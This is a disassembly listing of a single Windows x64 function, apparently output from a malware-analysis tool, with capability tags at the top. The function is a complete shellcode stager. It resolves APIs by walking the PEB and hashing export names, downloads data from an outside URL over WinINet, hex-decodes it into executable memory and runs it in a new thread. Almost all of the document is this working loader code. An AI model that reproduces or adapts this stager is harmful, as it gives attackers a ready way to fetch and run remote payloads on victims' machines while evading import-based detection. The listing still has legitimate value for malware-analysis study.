Function at 0x140001000
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x8e0
movdqa xmmword [rsp + 0x8d0], xmm15
movdqa xmmword [rsp + 0x8c0], xmm14
movdqa xmmword [rsp + 0x8b0], xmm13
movdqa xmmword [rsp + 0x8a0], xmm12
movdqa xmmword [rsp + 0x890], xmm11
movdqa xmmword [rsp + 0x880], xmm10
movdqa xmmword [rsp + 0x870], xmm9
movdqa xmmword [rsp + 0x860], xmm8
movdqa xmmword [rsp + 0x850], xmm7
movdqa xmmword [rsp + 0x840], xmm6
mov dword [rsp + 0x3c], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001090
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140001090
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400010c5
test r11, r11
je 0x140001090
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400010c0
add rsi, r10
mov edi, 0xafde0567
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400010e0
cmp edi, 0xaf4c8a01
jne 0x1400010c0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
mov dword [rsp + 0x20], 0
lea rcx, str.MyApp
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call r10
test rax, rax
je 0x140001320
mov rsi, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001160
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140001160
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x140001195
test r11, r11
je 0x140001160
dec r8
mov r11d, r8d
mov edi, dword [r9 + r11*4]
movzx ebx, byte [rax + rdi]
test bl, bl
je 0x140001190
add rdi, r10
mov ebp, 0x40f5fdc7
nop
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
movzx ebx, byte [rdi]
inc rdi
test bl, bl
jne 0x1400011b0
cmp ebp, 0xc893d546
jne 0x140001190
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
lea rdx, str.http:__www.baidu.com
mov rcx, rsi
xor r8d, r8d
xor r9d, r9d
call r10
test rax, rax
je 0x140001317
mov rdi, rax
lea rbx, [rsp + 0x40]
lea r14, [rsp + 0x3c]
nop word cs:[rax + rax]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001250
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140001250
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x140001285
test r11, r11
je 0x140001250
dec r8
mov r11d, r8d
mov r15d, dword [r9 + r11*4]
movzx ebp, byte [rax + r15]
test bpl, bpl
je 0x140001280
add r15, r10
mov r12d, 0x29fa56c0
nop word cs:[rax + rax]
movsx ebp, bpl
xor ebp, r12d
imul r12d, ebp, 0x1000193
movzx ebp, byte [r15]
inc r15
test bpl, bpl
jne 0x1400012b0
cmp r12d, 0xf8a8002b
jne 0x140001280
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x3fd
mov r9, r14
call r10
test eax, eax
je 0x14000130e
cmp dword [rsp + 0x3c], 0
jne 0x140001230
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
movdqa xmm1, xmmword [section..rdata]
movdqa xmm2, xmmword [str._t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t]
movdqa xmm3, xmmword [0x140003020]
movdqa xmm4, xmmword [0x140003030]
movdqa xmm5, xmmword [0x140003040]
movdqa xmm6, xmmword [0x140003050]
movdqa xmm7, xmmword [0x140003060]
movdqa xmm0, xmmword [0x140003070]
nop word cs:[rax + rax]
movd xmm8, dword [rsp + rax*2 + 0x5c]
movzx ecx, byte [rsp + rax*2 + 0x5e]
movd xmm9, ecx
punpcklbw xmm8, xmm9
movd xmm9, dword [rsp + rax*2 + 0x58]
movzx ecx, byte [rsp + rax*2 + 0x5a]
movd xmm10, ecx
punpcklbw xmm9, xmm10
punpcklwd xmm9, xmm8
movd xmm10, dword [rsp + rax*2 + 0x54]
movzx ecx, byte [rsp + rax*2 + 0x56]
movd xmm8, ecx
punpcklbw xmm10, xmm8
movd xmm8, dword [rsp + rax*2 + 0x50]
movzx ecx, byte [rsp + rax*2 + 0x52]
movd xmm11, ecx
punpcklbw xmm8, xmm11
punpcklwd xmm8, xmm10
punpckldq xmm8, xmm9
movd xmm9, dword [rsp + rax*2 + 0x4c]
movzx ecx, byte [rsp + rax*2 + 0x4e]
movd xmm10, ecx
punpcklbw xmm9, xmm10
movd xmm10, dword [rsp + rax*2 + 0x48]
movzx ecx, byte [rsp + rax*2 + 0x4a]
movd xmm11, ecx
punpcklbw xmm10, xmm11
punpcklwd xmm10, xmm9
movd xmm11, dword [rsp + rax*2 + 0x44]
movzx ecx, byte [rsp + rax*2 + 0x46]
movd xmm9, ecx
punpcklbw xmm11, xmm9
movd xmm9, dword [rsp + rax*2 + 0x40]
movzx ecx, byte [rsp + rax*2 + 0x42]
movd xmm12, ecx
punpcklbw xmm9, xmm12
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm10
punpcklqdq xmm9, xmm8
movdqa xmm10, xmm9
paddb xmm10, xmm1
movdqa xmm8, xmm10
pminub xmm8, xmm2
pcmpeqb xmm8, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm3
movdqa xmm12, xmm11
pminub xmm12, xmm4
pcmpeqb xmm12, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm5
movdqa xmm13, xmm11
pminub xmm13, xmm4
pcmpeqb xmm13, xmm11
movdqa xmm11, xmm9
paddb xmm11, xmm6
pand xmm11, xmm13
paddb xmm9, xmm7
por xmm12, xmm8
pand xmm9, xmm12
pandn xmm12, xmm11
por xmm12, xmm9
pand xmm10, xmm8
pandn xmm8, xmm12
por xmm8, xmm10
psllw xmm8, 4
pand xmm8, xmm0
movzx ecx, byte [rsp + rax*2 + 0x5f]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x5d]
movd xmm10, ecx
punpcklbw xmm10, xmm9
movzx ecx, byte [rsp + rax*2 + 0x5b]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x59]
movd xmm11, ecx
punpcklbw xmm11, xmm9
punpcklwd xmm11, xmm10
movzx ecx, byte [rsp + rax*2 + 0x57]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x55]
movd xmm12, ecx
punpcklbw xmm12, xmm9
movzx ecx, byte [rsp + rax*2 + 0x53]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x51]
movd xmm10, ecx
punpcklbw xmm10, xmm9
punpcklwd xmm10, xmm12
punpckldq xmm10, xmm11
movzx ecx, byte [rsp + rax*2 + 0x4f]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x4d]
movd xmm11, ecx
punpcklbw xmm11, xmm9
movzx ecx, byte [rsp + rax*2 + 0x4b]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x49]
movd xmm12, ecx
punpcklbw xmm12, xmm9
punpcklwd xmm12, xmm11
movzx ecx, byte [rsp + rax*2 + 0x47]
movd xmm9, ecx
movzx ecx, byte [rsp + rax*2 + 0x45]
movd xmm11, ecx
punpcklbw xmm11, xmm9
movzx ecx, byte [rsp + rax*2 + 0x43]
movd xmm13, ecx
movzx ecx, byte [rsp + rax*2 + 0x41]
movd xmm9, ecx
punpcklbw xmm9, xmm13
punpcklwd xmm9, xmm11
punpckldq xmm9, xmm12
punpcklqdq xmm9, xmm10
movdqa xmm11, xmm9
paddb xmm11, xmm1
movdqa xmm10, xmm11
pminub xmm10, xmm2
pcmpeqb xmm10, xmm11
movdqa xmm12, xmm9
paddb xmm12, xmm3
movdqa xmm13, xmm12
pminub xmm13, xmm4
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm5
movdqa xmm14, xmm12
pminub xmm14, xmm4
pcmpeqb xmm14, xmm12
movdqa xmm12, xmm9
paddb xmm12, xmm6
pand xmm12, xmm14
paddb xmm9, xmm7
por xmm13, xmm10
pand xmm9, xmm13
pandn xmm13, xmm12
por xmm13, xmm9
pand xmm11, xmm10
pandn xmm10, xmm13
por xmm10, xmm11
por xmm10, xmm8
movdqa xmmword [rsp + rax + 0x440], xmm10
add rax, 0x10
cmp rax, 0x3f0
jne 0x140001370
mov eax, 0x3f0
movdqa xmm1, xmmword [0x140003080]
movdqa xmm2, xmmword [str._n_n_n_n_n_n_n_n]
pcmpeqd xmm3, xmm3
movdqa xmm4, xmmword [0x1400030a0]
movdqa xmm5, xmmword [0x1400030b0]
movdqa xmm6, xmmword [0x1400030c0]
movdqa xmm7, xmmword [0x1400030d0]
movdqa xmm8, xmmword [0x1400030e0]
nop
movzx ecx, byte [rsp + rax*2 + 0x40]
movzx edx, byte [rsp + rax*2 + 0x44]
movzx r8d, byte [rsp + rax*2 + 0x48]
movzx r9d, byte [rsp + rax*2 + 0x4c]
movzx r10d, byte [rsp + rax*2 + 0x46]
shl r10d, 8
or r10d, edx
movzx edx, byte [rsp + rax*2 + 0x42]
shl edx, 8
or edx, ecx
movd xmm10, edx
pinsrw xmm10, r10d, 1
movzx ecx, byte [rsp + rax*2 + 0x4a]
shl ecx, 8
or ecx, r8d
pinsrw xmm10, ecx, 2
movzx ecx, byte [rsp + rax*2 + 0x4e]
shl ecx, 8
or ecx, r9d
pinsrw xmm10, ecx, 3
movdqa xmm11, xmm10
paddb xmm11, xmm1
movdqa xmm9, xmm11
pmaxub xmm9, xmm2
pcmpeqb xmm9, xmm11
movdqa xmm12, xmm9
pxor xmm12, xmm3
movdqa xmm13, xmm10
paddb xmm13, xmm4
movdqa xmm14, xmm13
pmaxub xmm14, xmm5
pcmpeqb xmm14, xmm13
pxor xmm14, xmm3
por xmm14, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm6
movdqa xmm13, xmm12
pmaxub xmm13, xmm5
pcmpeqb xmm13, xmm12
movdqa xmm12, xmm10
paddb xmm12, xmm7
pandn xmm13, xmm12
paddb xmm10, xmm8
pand xmm10, xmm14
pandn xmm14, xmm13
por xmm14, xmm10
pand xmm14, xmm9
pandn xmm9, xmm11
por xmm9, xmm14
psllw xmm9, 4
pand xmm9, xmm0
movzx ecx, byte [rsp + rax*2 + 0x41]
movzx edx, byte [rsp + rax*2 + 0x45]
movzx r8d, byte [rsp + rax*2 + 0x49]
movzx r9d, byte [rsp + rax*2 + 0x47]
shl r9d, 8
or r9d, edx
movzx edx, byte [rsp + rax*2 + 0x43]
shl edx, 8
or edx, ecx
movd xmm10, edx
pinsrw xmm10, r9d, 1
movzx ecx, byte [rsp + rax*2 + 0x4d]
movzx edx, byte [rsp + rax*2 + 0x4b]
shl edx, 8
or edx, r8d
pinsrw xmm10, edx, 2
movzx edx, byte [rsp + rax*2 + 0x4f]
shl edx, 8
or edx, ecx
pinsrw xmm10, edx, 3
movdqa xmm12, xmm10
paddb xmm12, xmm1
movdqa xmm11, xmm12
pmaxub xmm11, xmm2
pcmpeqb xmm11, xmm12
movdqa xmm13, xmm11
pxor xmm13, xmm3
movdqa xmm14, xmm10
paddb xmm14, xmm4
movdqa xmm15, xmm14
pmaxub xmm15, xmm5
pcmpeqb xmm15, xmm14
pxor xmm15, xmm3
por xmm15, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm6
movdqa xmm14, xmm13
pmaxub xmm14, xmm5
pcmpeqb xmm14, xmm13
movdqa xmm13, xmm10
paddb xmm13, xmm7
pandn xmm14, xmm13
paddb xmm10, xmm8
pand xmm10, xmm15
pandn xmm15, xmm14
por xmm15, xmm10
pand xmm15, xmm11
pandn xmm11, xmm12
por xmm11, xmm15
por xmm11, xmm9
movq qword [rsp + rax + 0x440], xmm11
add rax, 8
cmp rax, 0x3f8
jne 0x1400016a0
movzx ecx, byte [rsp + 0x830]
lea eax, [rcx - 0x30]
cmp al, 0xa
jb 0x1400018cb
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400018bb
add cl, 0xa9
mov eax, ecx
jmp 0x1400018cb
lea eax, [rcx - 0x41]
add cl, 0xc9
xor edx, edx
cmp al, 6
movzx eax, cl
cmovae eax, edx
shl al, 4
movzx ecx, byte [rsp + 0x831]
lea edx, [rcx - 0x30]
cmp dl, 0xa
jb 0x140001900
lea edx, [rcx - 0x61]
cmp dl, 5
ja 0x1400018ed
add cl, 0xa9
mov edx, ecx
jmp 0x140001900
lea edx, [rcx - 0x41]
add cl, 0xc9
xor r8d, r8d
cmp dl, 6
movzx edx, cl
cmovae edx, r8d
or dl, al
mov byte [rsp + 0x838], dl
movzx ecx, byte [rsp + 0x832]
lea eax, [rcx - 0x30]
cmp al, 0xa
jb 0x140001936
lea eax, [rcx - 0x61]
cmp al, 6
jae 0x140001926
add cl, 0xa9
mov eax, ecx
jmp 0x140001936
lea eax, [rcx - 0x41]
add cl, 0xc9
xor edx, edx
cmp al, 6
movzx eax, cl
cmovae eax, edx
shl al, 4
movzx ecx, byte [rsp + 0x833]
lea edx, [rcx - 0x30]
cmp dl, 0xa
jb 0x14000196b
lea edx, [rcx - 0x61]
cmp dl, 6
jae 0x140001958
add cl, 0xa9
mov edx, ecx
jmp 0x14000196b
lea edx, [rcx - 0x41]
add cl, 0xc9
xor r8d, r8d
cmp dl, 6
movzx edx, cl
cmovae edx, r8d
or dl, al
mov byte [rsp + 0x839], dl
movzx ecx, byte [rsp + 0x834]
lea eax, [rcx - 0x30]
cmp al, 0xa
jb 0x1400019a1
lea eax, [rcx - 0x61]
cmp al, 6
jae 0x140001991
add cl, 0xa9
mov eax, ecx
jmp 0x1400019a1
lea eax, [rcx - 0x41]
add cl, 0xc9
xor edx, edx
cmp al, 6
movzx eax, cl
cmovae eax, edx
shl al, 4
movzx ecx, byte [rsp + 0x835]
lea edx, [rcx - 0x30]
cmp dl, 0xa
jb 0x1400019d6
lea edx, [rcx - 0x61]
cmp dl, 6
jae 0x1400019c3
add cl, 0xa9
mov edx, ecx
jmp 0x1400019d6
lea edx, [rcx - 0x41]
add cl, 0xc9
xor r8d, r8d
cmp dl, 6
movzx edx, cl
cmovae edx, r8d
or dl, al
mov byte [rsp + 0x83a], dl
movzx ecx, byte [rsp + 0x836]
lea eax, [rcx - 0x30]
cmp al, 0xa
jb 0x140001a0c
lea eax, [rcx - 0x61]
cmp al, 6
jae 0x1400019fc
add cl, 0xa9
mov eax, ecx
jmp 0x140001a0c
lea eax, [rcx - 0x41]
add cl, 0xc9
xor edx, edx
cmp al, 6
movzx eax, cl
cmovae eax, edx
shl al, 4
movzx ecx, byte [rsp + 0x837]
lea edx, [rcx - 0x30]
cmp dl, 0xa
jb 0x140001a41
lea edx, [rcx - 0x61]
cmp dl, 6
jae 0x140001a2e
add cl, 0xa9
mov edx, ecx
jmp 0x140001a41
lea edx, [rcx - 0x41]
add cl, 0xc9
xor r8d, r8d
cmp dl, 6
movzx edx, cl
cmovae edx, r8d
or dl, al
mov byte [rsp + 0x83b], dl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140001a60
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140001a60
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x140001a95
test r11, r11
je 0x140001a60
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x140001a90
add rsi, r10
mov edi, 0xc660dc7f
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x140001ab0
cmp edi, 0x2e84329b
jne 0x140001a90
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
mov edx, 0x3fc
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r10
mov rsi, rax
lea rdx, [rsp + 0x440]
mov r8d, 0x3fc
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x840]
movaps xmm7, xmmword [rsp + 0x850]
movaps xmm8, xmmword [rsp + 0x860]
movaps xmm9, xmmword [rsp + 0x870]
movaps xmm10, xmmword [rsp + 0x880]
movaps xmm11, xmmword [rsp + 0x890]
movaps xmm12, xmmword [rsp + 0x8a0]
movaps xmm13, xmmword [rsp + 0x8b0]
movaps xmm14, xmmword [rsp + 0x8c0]
movaps xmm15, xmmword [rsp + 0x8d0]
add rsp, 0x8e0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret